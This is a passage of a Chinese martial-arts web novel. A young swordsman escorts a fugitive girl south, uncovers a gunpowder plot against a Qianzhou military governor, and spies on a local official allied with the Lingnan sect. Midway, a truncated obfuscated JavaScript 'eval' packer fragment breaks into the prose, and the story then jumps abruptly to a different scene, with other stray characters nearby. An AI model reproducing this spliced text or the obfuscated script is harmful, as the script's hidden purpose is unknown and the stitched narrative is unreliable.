来到小溪旁,杨若韫打量了夏婷苏两眼,招呼她上牛,自己却施展轻功在地上跑,本来夏婷苏还担心他受伤这么跑会不会又让伤口裂开,后来看他面色平静,速度也不见放缓才放下心来。 他们不过半日就到了一处镇子上,等下了牛,夏婷苏看见杨若韫解开牛缰绳把牛赶走,有些不舍,想起这些日子这头巨牛兢兢业业地载人,忍不住问道:“杨大哥,这牛这么好,就这么把它放走了,它以后怎么办啊?” 杨若韫温声笑道:“此牛甚通人性,曾多次载着我化险为夷,对我来说如同挚友一般,此时我把它放走了,是为了不让我们行迹暴露,但等到我需要它的时候,它还会再回来的。” 夏婷苏这才放下心来,又听杨若韫说道:“你去镇口候着我,我一会就去找你。”她依言而行,到了镇口,不一会儿杨若韫就牵着两匹花驴来找她了。夏婷苏有些疑惑,问杨若韫道:“你怎么这么快就买到了驴子?” 杨若韫不答,只催促她上驴,然后和她并辔而行,待行到大路上,杨若韫才对夏婷苏说道:“我们为了避难,自然需要购买坐骑,此处离通州不远,我买坐骑会留下痕迹,倘若他们来了这处镇子上查探,就会知道咱们现在的装扮,到时候可就不好糊弄过去了,我只好去牵了别人家的两头驴子,放些银子赔给他们就是了。” 夏婷苏这才恍然大悟,心下对杨若韫的心细如发更佩服了几分。 又见杨若韫把从镇子上带来的包袱递给夏婷苏,说道:“之前答应赔给你的衣服。”夏婷苏接过包袱一看,其中的衣服颜色并不明丽,但布料柔软又结实,乃是价格不菲的上品。 “这下我算是信守承诺了吧。”杨若韫说道,夏婷苏郑重地朝他点了点头以作回应。见状,杨若韫嘴角轻扯,把目光重新放回到前方。 过了一会,夏婷苏瞥见杨若韫歪七扭八地坐在花驴上的影子,又看他神色吊儿郎当,活脱脱一幅纨绔像,不禁心想任谁也不会看出来这样一个少年竟是当世罕有的武学高手,以后看人需得更加谨慎才行。 走着走着,杨若韫开口说道:“姑娘,自从和你一见面我就很有些疑惑,为何你一个年纪轻轻的小女孩会独自逃难?明明我感觉你像大户人家的小姐一样知书达礼,是家里出了什么事吗?” 杨若韫知道她之前说的来历都是假的,自然也不会真的叫王顺,若贸然询问对方闺名,又显得自己轻浮了,于是就以姑娘称呼夏婷苏。 夏婷苏想了想,如实答道:“我家中突生变故,父母都不在身畔,为了避免被波及,只好独自出来逃难。”又看向杨若韫,问道:“你在通州城中闯下那么大的篓子,是因为不小心听到了什么消息?” 杨若韫扯着驴缰,漫不经心地回答:“不过是听到了某些官员通敌卖国的消息罢了。” 夏婷苏突然想起之前那张与自己父亲极像的面容,心中咯噔一声,又若无其事地问道:“之前那位持着折扇和你交手的人是谁?我看他似乎武功高过其他人。” 谁知杨若韫目光突朝她照来,在那少年如电的目光下,夏婷苏尽己所能平静地回视着他。 过了半晌,正当夏婷苏感叹看着清秀俊朗的面容怎么会有这么一副有压迫力的眼眸时,杨若韫的目光才转向别处,说道:“那似乎是个什么节度使,听别人叫他夏大人,看他武功倒是有些来历。” 夏婷苏忙问他:“他是通州节度使吗?”见杨若韫又朝她看来才补充道:“没想到这人武功这么好,官也做得大,我知道了他的辖地,好避开他。” 杨若韫心中有些怪异感,又说不出来自哪里,想了想,回道:“他是肃州节度使。”夏婷苏不再言语,心中猜测那夏大人多半就是自己的叔父夏铭泽了,虽然自己只在年幼时见过他,但凭着那人的相貌,她还是可以确认这一点的。 他从京中的兵部侍郎调任到肃州节度使或许有着某些深意,联想到杨若韫说过某些官员通敌卖国,恐怕和他也脱不了干系,夏家出事出的蹊跷,不知和他有着什么样的关系?整个局面都好像被蒙了一层布一样,令人看不透。 6. 第六章 正当夏婷苏想事情想得出神,杨若韫突然说道:“那夏大人的武功似乎来自岭南一带。” 见夏婷苏望来,他又说道:“我曾见识过岭南一带的武功,从外形内力来看和那夏大人的武功门路很像,只不知是师承何人。” 夏婷苏便问道:“你与那里的人交过手?” 杨若韫沉吟片刻,方道:“我不是他们的敌手,是我师父和那里的人交过手。” 夏婷苏惊讶的看了杨若韫一眼,心想此人武功极高,通州城那么多高手都拦不下一个杨若韫,若是连他都自认不敌的对手,不知道得有多强大。 似是看出夏婷苏所想,杨若韫解释道:“那已是七八年前的事了,我当时还是个小孩儿,我师父也早已经去世啦。” 夏婷苏“哦”了一声,又忍不住问他:“那是你师父更厉害些还是那些人更厉害些?” 杨若韫笑道:“原来你好奇心也很重,亏我还以为你是个什么都不在乎的大小姐。”夏婷苏不理他的玩笑,只催促他道:“你快说。” 杨若韫道:“好罢好罢,其实我师父和他们最厉害的高手战了个旗鼓相当。”怕夏婷苏不断追问,索性就把两人交手的经过一五一十告诉了夏婷苏。 原来岭南一带的武功与中原差异很大,大多数都较为粗浅,不过几百年累积下来,也另辟蹊径,成就了一门独特的武学。 黔州有一位武学宗师总结了前人的心得,融会贯通,终于创出了一套极精深的武功:灵净通体拳。 据说这门拳法练到最深时可以调全身之力在瞬间爆发出一拳。 而常人一拳往往只能由身体的一小部分发力,即便用上内力也决不能调用了全身的潜力集于一处,更不能把如此巨大的力量在一瞬间发挥出来,而高手过招胜负只在一瞬之间,这门功法讲究通体于一,可以发挥出自己全部的潜力,在实战时便有巨大优势。 曾与杨若韫师父交手之人名叫安振德,此人便是创出灵净通体拳的大宗师的徒弟,悟性极佳,继承师父了师父衣钵后又在原先岭南武功的基础上增加了诸多变化,乃是岭南第一高手。 后来因江湖仇怨,杨若韫师父与之交手,大战三天三夜,终于双方承认彼此武功在伯仲之间,难以分出高下。 算来安振德现在已有五十岁,正值武学修为的巅峰,而杨若韫师父在那场交手时年岁已高,其后身体衰弱,没过几年便因病去世了。 在这之后安振德又战胜了很多中原武学大家,因此安振德已经可以称得上是当世第一高手了。 想起自己师父昔日的纵横江湖,杨若韫也唏嘘不已,师父直到晚年才收了自己一个徒弟,他自然得到了师父的倾囊相授,年纪轻轻就已经在江湖上罕有敌手,不过因为常常改换相貌,是以并不出名。 可以说杨若韫能有今日,实是其师父悉心栽培之功,只可惜岁月无情,师徒已无再见的缘分,这等恩情他也只有来世再报了。 杨若韫思绪渐渐飘远,眼前仿佛又出现了那抹澄澈的蓝与白。 北地冬日苦寒,辽东一带向来只有女真人生活居住,女真人世代在长白山麓建屋安家,以打猎放牧为生,鲜少与中原来往,然而在他们的部落一角,却生活着一老一少两个中原人。 这老者在北地却是一幅道士打扮,逢人只称自己道名隐尘,却无人知晓他的来历。 他是几年前来了这里,刚来时手上抱着名婴儿,等后来众人问起他和这婴儿的关系,老道才说这是他游历路上捡来的孩子,捡到这孩子的时候已经看不见抛弃他的家人了,老道见他可怜就打算把他收养下来。 女真人豪爽好客,虽知隐尘是中原人,但并不排斥他。 初时见隐尘年长消瘦还要照顾孩子常常想要接济他们,却没想到隐尘出门往往半日便能猎来一头鹿,甚至数次独自一人猎杀了熊。 虽无人能见识到老道士的身姿,但对于崇尚强者的女真人来说,老道士已是神圣的象征,至此以后女真人对这名老道士只余敬畏之情。 数年来,隐尘都生活在女真部落中,抚养着那孩子渐渐长大。 那孩子相貌白净,聪明机灵,隐尘见他天赋颇高,便收了这位幼徒,好教自己的功夫能够流传下去。 这一日,已是隐尘抱养那孩子的第九年,九年来,牙牙学语的幼童已长成眉清目秀的小少年。 此时正值初春,大地仍旧白茫茫一片,隐尘携着那少年的手穿梭在北地的皑皑白雪之中,落地无声,踏雪无痕。 “又到了考较轻功的日子,不知这孩子是否比上次进步了很多?”隐尘心中默默想着。 那少年悟性不错,又有隐尘这样的名师指点,平日内功拳脚都有学习,各项往往每隔十几日便会被隐尘考较,几年以来,武学之道已颇具根基。 隐尘低头去看那小少年,只见他气质从容,似是全没将考较的事放在心上,隐尘刚想说什么,不远处却突然响起一声狼啸,隐尘心念一动,方向一转,反朝狼啸声处行去,那小少年眸光微闪,似是已猜到师父要考较自己什么了。 待二人走近那处一看,原是条孤狼在朝天而啸。 北地的狼大多壮硕,威武,眼前这只显然是匹正当壮年的公狼,见人来了也不害怕,只转动着眼珠不紧不慢地踱步。 隐尘心中有了想法,便清了清嗓子,对那小少年说道:“你现在年纪已经不小,生活在这里就得学会打猎的本领,你去把这匹狼猎回来吧。” 说罢,隐尘便飘然向后滑出十步的距离,把空间留给一人一狼。 那小少年没去答话,眼神只紧紧盯着那匹狼,那狼似乎也察觉到了危险,停在原地,眼睛微眯,四肢微屈。 对峙不过片刻,狼骤然发难,一个纵跳直接向那小少年扑去! 那小少年微微侧身避过,右腿蓦地踢出,直中狼腹,狼被踢的在地上翻滚两圈,口中哀嚎一声,随即甩了两下身上的雪,重新朝那小少年扑去。 这回那小少年不等狼先扑来,自己先高高跃起,等狼扑到跟前再踩住狼头,翻身踏上狼背,刚等狼落地,那小少年都一拳已砸在狼背上,只听得“咔嚓”一声,狼的脊椎已断,随后狼便趴在地上哀嚎两声,自此不动。 隐尘见那小少年这几下身手敏捷,下手果断,功力也有所见长,不禁点了点头。 那小少年又检查了两遍,确认狼已被击杀,这才走到师父跟前,略带欢喜地说道:“师父,我独自猎了狼。” 隐尘面带笑意,伸手摸了摸小少年的头,说道:“这只是最基本的,武学之道永无止境,你今后要学的还很多,不过今日表现不错,这匹狼回去后就给你做成披风穿。” 话音刚落,隐尘便听见不远处有踩雪发出的“沙沙”声。 他定睛望去,却看见白茫茫的雪地上有十几个小黑点在缓缓移动,那小少年还想在说什么,却被师父一把拽住,纵跃之间又拎了狼尸,转身快步向女真部落行去。 隐尘没想到那狼的同伴这么快就找来了,虽说他并不惧怕这支狼群,但也不欲大开杀戒,为避免麻烦,便携了幼徒返回。 隐尘今日虽了解了徒弟的拳脚功夫,但徒弟的轻身功夫还没考较,待离得狼群远了,隐尘便渐渐撤去拽着徒弟胳膊的力,脚下动作却丝毫不缓,一幅要与徒弟较量较量轻功的样子。 那小少年心领神会,催动内力,施展轻功,一时之间竟能跟上隐尘,不过毕竟功力尚浅,比起隐尘的不着痕迹,少年在雪地上留下来了一串淡淡的鞋印。 渐渐地,那小少年力有不继,与隐尘之间的距离越来越远,至此,隐尘已心满意足,放满了脚步等徒弟追上来后再重新携起小徒弟的手,雪地才又光滑平整起来。 隐尘虽心中满意,但等回去后还是语重心长地劝勉了小少年一番,小少年认真听了,又去努力用功。 隐尘瞧着徒弟自幼懂事,习武勤奋刻苦,已然料想到他日后在江湖中闯出一番天地的情形,但毕竟忧心自己不在后徒弟会吃亏,他便替徒弟卜了一卦,却没料到卜出徒弟日后会建功立业,但又会境遇坎坷,身处险境。 隐尘思忖良久,觉得还是让他避开这些为好,此后便反复告诫徒弟要远离朝堂之事,只做个行走江湖,伸张正义的侠客。 那少年也听话得紧,虽不知师父为何要这般吩咐他,但还是郑重地应下了。 “年年岁岁花相似,岁岁年年人不同。” 世人常感时光易逝,但花落复开,一代代英雄豪杰都在历史上留下了独一无二的浓墨重彩,也正因为时光不返,历史的长卷才能交给新人书写。 等杨若韫回过神来的时候,看见夏婷苏认认真真地在注视着自己,忍不住问她:“这些江湖上的事情有意思吗?” 夏婷苏看着杨若韫,不明白他为什么这样问,但还是遵从本心,朝他点了点头。 杨若韫“扑哧”笑了出来,对她道:“别看我们这些江湖之人武功好玩又好看,但哪一个高手不是从血雨腥风中走出来的,稍有不慎,脑袋就得搬家啦。” 夏婷苏深以为然地点点头,想到在通州城好多人在眼前这人面前不过一剑就结果了性命,突然觉得那些人有点可怜,但又想到如果他们不死,死的就是杨若韫和自己了,就又收起了怜悯之心。 夏婷苏抬眼看向杨若韫,问道:“你现在准备去哪?”杨若韫漫不经心地回道:“怎么,你想和我分别了吗?” 夏婷苏没料到他这样不答反问,愣了一下,才道:“我的意思是如果我们不同路,或许分开走可以更好地躲过追兵。” 闻言,杨若韫只是淡淡地看着夏婷苏,夏婷苏也只好小声说了一句:“我们总得有个规划吧。” 看着夏婷苏干净的眉眼,杨若韫心中不知有什么东西突然松动了,原本预备好的说辞到了嘴边却骤然变了卦,“我们是应该在一起走。”他平静地说道。 “啊?”夏婷苏对他这么一句莫名其妙的话感到一头雾水。 别说夏婷苏,就连杨若韫自己也被方才说出口的话惊了一瞬,但他马上镇定下来,对夏婷苏道:“我得罪的夏大人极有权势,你的身材、相貌都没有做过掩饰,是一个明显的线索,他们找到你轻而易举。到那时,凭你自己怎么逃得脱?” 顿了顿,他又接着道:“我把你牵扯进来,是我的不是。既然如此,我无论如何都会保你平安。” 夏婷苏想了想,也觉有理,但是和他一个陌生男子一路同行,他又知晓自己是女子,实在有诸多不便,想着要怎么同他说此事。 杨若韫说完后见她目露迟疑之色,以为她仍是不愿同行,想起自己刚说的话,脸上微微发热,心下颇为踌躇,只得说道:“姑娘若是不愿和我同行,待到了安全的城镇,我再教你易容之术,替你安排妥当了便是。” 夏婷苏心下暗忖,觉得还是和他同行更安全些,便开口说道:“杨大哥武艺超群,护送我自然能使我更安心些,我便和杨大哥一块同行吧。我姓夏,杨大哥就唤我夏姑娘吧。” 杨若韫松了口气,刚应了声:“是,夏姑娘。”又听她道:“只是我毕竟是女子,和杨大哥一同恐怕有些不便之处。” 杨若韫略一沉吟,便道:“你若是觉得我在哪里冒犯到你了,直言告诉我便是,除此之外,我也给你件暗器用于防身,好让你更安心些。”说完,从包袱中摸出一把小弩,递给了夏婷苏。 这把小弩做的精巧又轻便,把它绑在手腕上感受不到什么重量,被袖子遮着外面也看不出来,其中装有机括可以连续发射十三枚铁质小箭,力道极大。 这张小弩本是杨若韫在一个波斯商人那里花大价钱买到的,工艺连他这个见惯了各种暗器的行家也不禁惊叹,用于防身自然绰绰有余。 杨若韫教了夏婷苏用法,夏婷苏便对着路边试着发射了几回,捡箭时见小箭都深深扎在地上,确认了这是一把防身利器后高兴地同杨若韫道了谢,心中再没其他顾及。 杨若韫见她对自己所赠的暗器爱不释手暗暗松了一口气,又想着那夏大人既是武林人士,又暗中投靠了北夷人,自己师父从小教育自己要以民族大义为重,如今魏朝形势岌岌可危,怎么能对这种事袖手不管? 眼下只能先去岭南探探情况,看看是否有魏朝武林人士也暗中投靠了外族,再做其他打算。 有了计划后,他精神一振,把自己的想法对夏婷苏说了,有他一路保护,夏婷苏自然没有异议,接下来的二人便加快速度赶起路来。 两人一路南下,偶尔也会碰见几队士兵骑马经过,那些士兵往往只看他们一眼就径直离开,倒是平平安安地行了半个月。 这一日到了蜀州,其时已至傍晚,两人随意寻了家客栈住下,又买了几套衣服改换行装便即歇下。 第二日清晨,杨若韫突然来找夏婷苏,连椅子也顾不上坐便开门见山地对她道:“此处已远离通州,料想那些人不会再找上你来,我即将去黔州会会那安振德,此行太过危险,你就暂且在此住上几日,我回来后再给你找个安居之处。” 夏婷苏心想不错,便答应下来,杨若韫又把自己所携的大部分钱财都留给了夏婷苏,确认一切妥当后才动身前往黔州。 杨若韫昔年随师父走南闯北,也曾到过黔州,他此行目的乃是探清安振德立场,因此不打算兴师动众,在蜀州改换了容貌身材,扮作一个普普通通的商贩,骑着花驴一路行到黔州。 黔州算得上魏朝西南边陲最大的城池,居住在城内的有数十万户百姓,常有外地商贩来此售卖。 杨若韫牵着花驴走在城中,看着城内颇为繁荣的景象,心中暗暗想着魏朝连年遭逢旱灾,君臣昏庸无能,而黔州却保得一方太平,无怪此地武学发展迅速,实已不逊色于中原武学。 安顿下来后,杨若韫径直去了一处规模颇大的茶馆,应着茶博士的招呼,坐了一处不起眼的角落,叫了一大壶茶,慢慢品起来。 茶馆里说书先生嗓音嘹亮,感情激昂,说的却全是凄惨的爱情故事。 杨若韫听来心想此地偏安一隅,自是不知北夷人凶狠残暴,整个魏朝都陷入了战争的漩涡中,这里还在唱着儿女情长,便把注意放在茶馆的客人们身上,看了一圈却只看出来茶馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这一等,直等到天色暗下来。杨若韫才看见那人出来,那人出来后也没做什么,只是极平常地洗起衣服来,又看了一会,杨若韫知道这人暂时不会再有所动作了,才慢慢离开。 他随便找了家铺子吃了点东西就接着去盯人,那人却一天一夜都待在家里没有出门,杨若韫仗着内功深湛,直到晚上才去取来些干粮和水,恢复了恢复体力。 那人白天偶尔出门揽点力气活挣钱,杨若韫也一路跟随,始终没发现有什么不正常的举动,也没见他再与其他几人汇合。 如此过了三日,杨若韫硬是没怎么休息,才避免了打草惊蛇,把那人的一举一动都监视了下来。直到此刻,那人才终于开始行动起来。 他这次出门带了副扁担,挑了两只大竹筐,神态却不像往常那样自然,时时刻刻都在注意着周围。 杨若韫不敢大意,只远远地跟着他,又随着他东拐西拐兜了一大圈,才来到家卖粮食的铺子。远处看上去,这粮食铺子店面极小,也极普通。 杨若韫知道那人大费周章才到的这家粮食铺子定不似外面看上去一般寻常,就不知其中藏着什么秘密了。 只见那人进了粮食铺子后,不一会儿就挑着满满两竹筐大米出了门,杨若韫猫在屋顶,看着他离开,知道他现在正在往自己家走,也不用再小心翼翼的跟着他了,跳下来换了条大路慢慢走回了他家。 过了两刻钟,那人才挑着大米慢慢悠悠地出现在杨若韫的视线里。 只见那人放下扁担,把两只大竹筐搬进屋里,用手舀走了上面一层大米,却见竹筐里面竟另藏了黑黝黝的东西。 那人没做停留,直接提着两竹筐炸药进了地洞里。杨若韫在屋顶上看得明明白白,当即跳下屋顶,埋伏在屋里。 不知过了多久,那人才从地洞里爬出来,刚放好掩饰,就被杨若韫一掌劈晕,杨若韫怕他苏醒,先拿绳子把他捆起来,又在他嘴里塞了毛巾,再点了两处穴道,最后把他塞在柜子里边,这才放心下来。 杨若韫捻了捻那黑黝黝的东西,发现轻轻一捻就会变成粉末,又放到鼻子边嗅了嗅,这才嗅出来竹筐里藏的原来是火药。 他心知这地道里既埋了火药,就说不定什么时候会爆炸,他若是正好碰上火药爆炸,任他武功再盖世无双也难逃一死,此行实在是危险至极,但他既然要来探查这件事,就不能因为危险而停止。 他不再耽搁,一闪身跃入了地道,脑海中不知怎地却突然划过夏婷苏的面容,时刻紧急,容不得他多想,这件事就立刻被他抛到脑后。 杨若韫见地洞阴暗无光看不到底,就伸臂撑住了地洞,慢慢向下滑去。约莫向下滑了五六尺深,他才踏上了平地。 因为杨若韫平日自负武功高强,因此从来不携带兵刃,眼前一片漆黑,伸手不见五指,又不熟悉地形,就只好把外衣脱下来,缠在手上,勉强当作软鞭使用,然后一步步朝着地道深处行去。 好在地道虽然黑暗,地形却不复杂,只是笔直的一条路,也没有其他人的声音,杨若韫便一路前行下去。 渐渐的,他发觉路前方地势越来越高,坡度却始终并不怎么陡,一直走了两柱香的时间,他才摸到尽头,却并不是硬邦邦的墙壁,而是松松的粉末。 他心中一凛,拿手取了些放在鼻尖又轻轻地嗅了一下,确认了这是火药。 他朝地道四周又摸了摸,知道这些火药已经把地道填得严严实实的。为了怕墙壁渗水泡了这些火药,还专门铺了防水布,却不是地上是什么地方,值得这么大费周章地使用火药炸开。他不再多留,转身离开。 等回到地面后,杨若韫也不忙打开柜门处理那人,而是施展轻功沿着地道的方向去探查究竟是什么地方被人准备用火药炸掉。 他一路行了约莫六七里,才确认下来火药埋藏的大概位置,又在附近仔细探查,才发现原来火药的中心竟然是黔州节度使府中。 他心想既然有人把目标盯上了节度使府,且此人又在黔州极有势力,所求不过就是权和利罢了。 杨若韫若是想独自探知真相,只怕至少需要两三个月,此时火药数量已经足够了,不知何时就会把节度使府炸成平地,他肯定没有那么多的时间,眼下只好想个法子,先把这黔州节度使救上一救了。 杨若韫先回了宅子,打开柜门发现那人还没醒,就把他眼睛蒙上,接着塞到柜子里,又把屋子简单收拾了一下,准备在此处先住上几日。 到了晚上,杨若韫听着柜子里有些动静,知道里边人醒了,就拿出点吃的和水胡乱塞到那人嘴里,也不给他松绑,等他吃喝完又把他劈晕。 又过了两个时辰,到了深夜,杨若韫翻身上到屋顶,一路行至节度使府,看着整个府内的人都在沉沉睡着,便捏起嗓子,哑声说道:“此宅有鬼,闹鬼了呀!” 他说话声音不大,但用了内劲,声音可以传出去很远,且他此时一边说,一边在府内施展轻功狂奔,慢慢地,整个节度使府的人都被他给吵醒了。 杨若韫又喊了一刻钟,才从屋顶跃下,猫到一处角落里。 此时节度使府内已然灯火通明,众家丁纷纷找着这装神弄鬼之人。 杨若韫看他们找过几遍都摸不到头脑,都回房接着睡觉了,便又跳上房顶,哑声喊有鬼。 由于这次是在他们清醒时出声,杨若韫怕不小心被人发现,绕着府中喊了一圈就赶紧离开了,空留一院子鸡飞狗跳。 7. 第七章 等回了宅子,杨若韫想到偌大一个节度使府,恐怕都会因为自己的小恶作剧而彻夜难眠,不禁“哈哈”笑了两声,又躺到床上,毫无心理负担的沉沉睡去。 如此三日,每晚杨若韫都会去节度使府中“扮鬼”,弄得整个节度使府鸡犬不宁。 这天他又去集市上买了墨,自己碾碎了墨条拿水搅搅弄出一大桶墨来,当晚便提着墨桶去了节度使府。 此时节度使府晚上已有许多人守夜,杨若韫轻松避开他们,拣着些极显眼的地方拿着拖把沾上墨汁写下“此宅有鬼”等恐吓字眼,一面写,一面又偷走守夜仆人的东西,再神不知鬼不觉地放在其他人身上。 写了三四处后,杨若韫才把拖把随手往茅厕中一扔,准备回家睡觉了。 等杨若韫正在节度使府中穿行时,突有一股微风袭来,他直觉不对,忙翻个筋斗躲开,余光一瞥竟发现那微风实则是几枚锐钉朝他打来。 他暗道惭愧,心知倘若敌人只发一枚锐钉的话,便难以生起什么微风,在这深夜中他极难发觉,势必中招。 杨若韫的想法只在电光火石间划过,他刚躲开那几钉,又有许多锐钉发来,此时他有了防备,虽觉那些锐钉似乎是四面八方朝他射来的,他也不显慌乱,用手中桶向一方锐钉一抄,只听见一阵噼里啪啦的声音,那些锐钉都打在了铁桶里。 他又突向前闯,借着铁桶掩护,暗器已然伤不了他,锐钉也不再发,四个黑影跃上屋顶朝他刺来。 杨若韫见敌势凶猛不敢硬接,侧身避开一击,从人缝中窜出,使开轻功狂奔起来,那几人也紧紧跟随。 奔了一阵,杨若韫见对方仍是四人,轻功不见多高明,就慢慢放缓脚步,等距离对方还有七八米远时突然回头拍出一掌。 那四人忙停下脚步,却哪里能如杨若韫一般骤行骤止,只见那一掌不偏不倚地按在了当头一人身上,那人也不吭声,直直朝后飞去,不知是死是活。 同伴三人突见杨若韫露出这么一手功夫皆惊骇不已,紧紧攥着兵刃,一时不敢上前,杨若韫冷哼一声,左掌拍向最左边一人,右手提桶砸向最右边一人。 中间那人见同伴受窘忙挥刀朝杨若韫劈去,杨若韫不等招式用老,右手一提,铁桶已经砸上那人的刀,两件兵刃碰撞,那人的刀被砸飞出去,整条手臂又麻又痛。 杨若韫一击得手又提桶朝中间那人砸去,左右两人忙向杨若韫夹击过来,却见杨若韫把一只铁桶挥成了威猛无比的兵刃,十招过后两人就被杨若韫砸晕。只剩下中间那人,见了杨若韫如此神勇倒也不逃,空手来斗杨若韫。 杨若韫把铁桶抛开,同时拍出势若万钧的一掌,那人忙伸臂去挡,只听得“咔嚓”两声,那人手臂竟都生生折了。 杨若韫见那人手臂折了也不吭一声,心里有几分佩服,就不再出手,只封了他穴道,把他提到一处偏僻的巷子里,问他道:“你们是什么人?为何要来杀我?” 那人只忍着疼痛,不理会杨若韫的问话。杨若韫见他这样也不逼迫他,出手把他双臂接上了,又解开他的穴道,对他说道:“瞧在你有几分骨气的份上,放你回去了,只别再来为难我。” 那人看了杨若韫一眼,只道了一声“多谢”,便施展轻功离开了,杨若韫却悄步跟上了他。 原来杨若韫一交手便认出对方是岭南派的武功,自己干扰他们炸毁节度使府本就冒着被人报复的风险,却不想来阻挠自己的竟是岭南派的人。 他既疑惑岭南一派和黔州节度使有什么仇怨,又想到黔州中会岭南派武功的人不在少数,这几人不知是何方势力,既然问不出来话,那就假意放他离开,又跟着他走一趟探探情况。 那人显然武功基础扎实,内功修为不错,杨若韫虽放了他离开,却不见得能消去他的疑心,当下只提起精神,脚步极轻地跟上他。 那人先绕来路救醒了几个同伴,又拾回了各自的兵刃,在城中穿梭,最后进了一家大户的府邸。 杨若韫眼见他们进了其中的主屋便不再出来,就悄悄地走近到窗前,听里边的人说道:“你们看他武功怎样?”杨若韫知道这个“他”指的应该就是自己了,接着听另一个人说道:“我瞧他似乎很有些邪门,我们兵刃一碰上他砸来的铁桶便被直直砸飞出去,连手臂也被震得像是要裂开一般,且那人出手毫无招式,只一味地挥桶猛砸,看不出是何门何派的人物。” 又听原先那个声音说道:“如此说来此人乃是一位内家高手,你们看清楚他长相没有?”有人接话道:“看见了,那人生得一副方脸,脸上许多麻子,还留着络腮胡,瞧来并无什么武林门派的特征。” 里面人沉吟半晌,才接着说道:“我记不起哪门哪派有如此长相的人物了。此人既然要救那节度使,便是同我们对着干,你们暂且下去养养伤,此事日后再议。”又听那几人齐声说道:“是。” 杨若韫忙隐身到角落里,听着屋内再无别的动静,便悄声在这府邸中转悠了起来。 此时已至中夜,静悄悄的一点声音都没有,这处府邸景色甚是秀美,布局也十分严整,在黔州城中勉强算得上是上等了,不过杨若韫自来见多识广,此刻又无心花树,自然不会多留意身边景色。 他凭着绝佳轻功,在这府中竟似入无人之境一般自如,蓦地看见一个妙龄少女在院中静坐,眼中泪莹莹的不知在想些什么。 杨若韫心知男女有别,不再多看,刚准备转身离开,却突然见到那少女从袖中摸出一把匕首来,他好奇心起,趴在屋上静静看那少女有何举动。 只见那少女默默看了会匕首,似是终于下定决心,举起匕首朝手腕划去,杨若韫没想到她竟是要自残,不及多想,拾起身旁的石子便朝匕首打去。 这石子速度既快力道又大,匕首刚划上手腕,便被石子击飞,却终究留下了一寸来长的伤口,那少女大惊,忙朝杨若韫处看来。 杨若韫见自己已被发现,便纵身跳入院中,对那少女低声说道“姑娘勿怪,我并无歹意。” 那少女极震惊下刚准备张口喊人,又想起此人刚救了自己性命,便生生忍下,见杨若韫轻功卓越,身手不凡,颤声说道:“你…你是何人?为何出现在我院中?” 杨若韫见这少女容貌秀美,长睫上仍挂着泪珠,穿着单薄,不敢直视,低着头回道:“我只是个走江湖的莽人,在城中办事,误入了小姐的小院,乍见小姐似乎受了些委屈,便斗胆来劝慰上一句。” 那少女想起自己之前的举动,全被眼前这莽汉给瞧了去,不由得脸上一红,低声说道:“那你赶紧离开吧,被我家人发现就不好了。” 杨若韫听这少女语音柔和,心想此人应当品性不坏,不知因着什么事,竟想着自残,便好心劝道:“姑娘,人生在世有诸多不如意之处,若是眼下境况极为难极烦扰,或许过一段时间就迎刃而解了。” 那少女蓦地听到这人真诚地劝慰自己,不由得心生感激之情,低声回道:“多谢你告诉我这些,我已想开了,不会再伤害自己了。” 杨若韫听她这么说便放下心来,又想着不可在此久留,向那少女告一声别后,就施展轻功快速离开了。 他一面走,一面想着今晚发生的事,只觉毫无头绪,怕自己所居宅子里也埋伏了人,就在客栈里寻了间没人的客房草草歇了一晚。 第二日天刚大亮,杨若韫又改换面貌,去打听昨晚那处府邸,不过半日便摸清楚了来历。 那处府邸居住的乃是黔州通判周广源,平素为人亲切,待民优厚,百姓对他评价甚高。 这位通判大人刚至不惑之年,膝下仅有一子一女,先妻于五年前病逝,只留下长女一个孩子。 幼子乃是续弦所出,自生下来便极得宠爱,今晚即将举办幼子的百日宴,城内大人物约莫都会去赴宴,却没听说周广源与岭南派武人有什么来往。 杨若韫又回了原先的宅子,松了柜里那人的绑,告诉他等几个时辰□□道自行解开,便扮作路人,去看了看节度使府,终于见到府中众人正大车小车地朝外搬家,想是这些天的“拜访”奏了效,这才松了口气。 杨若韫随意进了家茶馆喝了半天茶,始终没再见到什么江湖人士或听到什么消息。 他自来黔州已有几日,发觉了些城内的波谲云诡,但无法了解内情,心想非得从通判府这头入手才能知晓岭南派究竟有什么筹谋。 当晚,他便扮作小厮,混入了通判府中,看着府内宾客络绎不绝,不由得想着这位通判大人排面真大,自己也得以轻松进入通判府。 杨若韫顺着府中伙计的指引到了偏厅,随意找了处偏僻的地方坐好,不过一会儿,就有下人端着酒菜摆起席来。 与杨若韫同桌的也都是各个大户家的小厮,彼此很快熟络起来,问到杨若韫时,他只含含糊糊地应一声,随即忙着吃菜喝酒。 其他下人见他这幅贪吃贪喝的模样也心中鄙夷,不再同他说话。 过不多时,杨若韫一摸肚子,觉得差不多饱了,便径直走出厅去,倒也没人放在心上。 他问了府中伙计茅房位置,又拣了处没人的地方跃上屋顶,在府中穿梭起来。 昨晚他已将此府布局记在心中,先去主厅望了望,却只见着一个美貌妇人招待宾客,又见厅中众人个个眼色昏沉,气息虚浮,显是并无任何武功的样子。 他随即去了府中主屋,从窗外看去,屋中也布了一桌席面,席上众人皆目光炯炯,颇有气势,看着武功不弱。 杨若韫当下猫在窗边,屏息凝神,静静听他们说话。 屋中一个粗砺的声音说道:“今日我岭南派诸位师兄师弟皆在此处,想来能困住我们几人的难题只怕不多啊!哈哈!哈哈!” 杨若韫听他说话竟隐隐夹着风雷之声,不禁一惊,暗忖此人内力与自己不相上下,他的其他几位师兄弟若是也大有来头,自己可万万不敌。 回想起刚才一瞥之下屋内人的特征,大概推断出来里面应该有四名好手,当年随师父至岭南派时对他们隐隐有些印象,却没见到安振德,便稍稍松了口气。 又听得一个稍显尖利的声音说道:“今日我们几人既然聚在此处,周大人有什么为难不妨直说吧。” 那周大人便接话道:“此事也怪我督查不力,竟被人发觉了节度使府地下的秘密,又在节度使府中搞出了些动静,惹得节度使一家现在正忙着搬离那地方,咱们的谋划眼见不成了啊。” 杨若韫听出这是昨晚吩咐那几个岭南弟子暗杀自己的声音,想着原来这周广源与节度使不睦,便和岭南派联手,预备借火药取了节度使的性命,不料被自己插手此事,却猜想不出岭南派又和这节度使有什么过节。< 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那姑娘见他回头,便摆摆手示意杨若韫过去,杨若韫心思全放在屋内人的谈话上,自认为所处位置十分隐蔽,竟没留意自己已经被人发现了。 